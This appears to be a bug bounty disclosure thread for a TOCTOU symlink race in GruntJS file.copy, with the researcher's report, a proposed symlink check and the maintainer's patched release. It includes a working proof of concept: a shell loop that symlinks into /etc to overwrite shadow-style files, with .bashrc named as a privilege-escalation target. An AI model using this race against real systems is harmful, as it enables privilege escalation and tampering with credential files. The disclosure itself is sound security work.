file.copy operations in GruntJS are vulnerable to a TOCTOU race condition leading to arbitrary file write in gruntjs/grunt

Valid

Reported on

Apr 12th 2022


Description

file.copy operations in GruntJS are vulnerable to a TOC-TOU race condition leading to arbitrary file write when an attacker can create a symlink just after deletion of the dest symlink (by repeatedly calling ln -s /etc/shadow2 dest/shadow2 in a while loop) but right before the symlink is written to. I hypothesised this and mentioned this earlier in my last comment in my previous report but it remained unresolved, so I have managed to reproduce it in the following PoC:

Proof of Concept

1: As a lower-privileged user:

mkdir src
mkdir dest
echo "<overwrite shadow file here>" > src/shadow2
while true; do ln -s /etc/shadow2 dest/shadow2; done;

2: Now execute the following PoC:

grunt = require('grunt')
grunt.file.copy("src", "dest")

3: /etc/shadow2 is overwritten

<overwrite shadow file here>

Impact

This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user's .bashrc file or replace /etc/shadow file if the GruntJS user is root.

We are processing your report and will contact the gruntjs/grunt team within 24 hours. 2 months ago
haxatron
2 months ago

Researcher


I was thinking of how more specifically to resolve this, one way I hypothesiseis check if the destination file is a symlink, if it is, use fs.renameSync rather than file.write, as fs.renameSync in node doesn't follow symlinks.

We have contacted a member of the gruntjs/grunt team and are waiting to hear back a month ago
Vlad Filippov
a month ago

Would ShellJS have the same problem?

haxatron
a month ago

Researcher


I've investigated a bit and ShellJS will copy the src directory to the dest directory so I don't think that is applicable (src => dest/src)

haxatron
a month ago

Researcher


Bestest way I can think of (without breaking much) is to skip the write if destpath is a symlink (ie.)

if (contents === false || file.isLink(destpath)) {
    grunt.verbose.writeln('Write aborted. Either the process function returned false or the destination is a symlink');
  } else {
    file.write(destpath, contents, readWriteOptions);
  }
gruntjs/grunt maintainer has acknowledged this report a month ago
Jamie Slome
a month ago

Admin


Any updates here @maintainer?

Vlad Filippov
a month ago

We will probably patch it soon with the suggested fix

Jamie Slome
a month ago

Admin


Great 👍

Thank you for the update, Vlad.

Jamie Slome
a month ago

Admin


In the meantime, do we consider this report to be a valid vulnerability? If so, feel free to mark as valid using resolve below 👍

Vlad Filippov validated this vulnerability a month ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Vlad Filippov
a month ago

Quick update, I have PR live but Windows is throwing errors at this time in CI https://github.com/gruntjs/grunt/pull/1745 Will need to investigate, might be a quick fix

Jamie Slome
a month ago

Admin


Great Vlad, thanks for the update. Once you are ready, feel free to mark as fixed :)

We have sent a fix follow up to the gruntjs/grunt team. We will try again in 7 days. a month ago
We have sent a second fix follow up to the gruntjs/grunt team. We will try again in 10 days. 19 days ago
Vlad Filippov
19 days ago

Still debugging Windows tests failing in https://github.com/gruntjs/grunt/pull/1745

Vlad Filippov
18 days ago

https://github.com/gruntjs/grunt/releases/tag/v1.5.3 released with the fix , thanks!

Vlad Filippov confirmed that a fix has been merged on 58016f 18 days ago
Vlad Filippov has been awarded the fix bounty
file.js#L297L300 has been validated
Jamie Slome
18 days ago

Admin


Great work all 👍

to join this conversation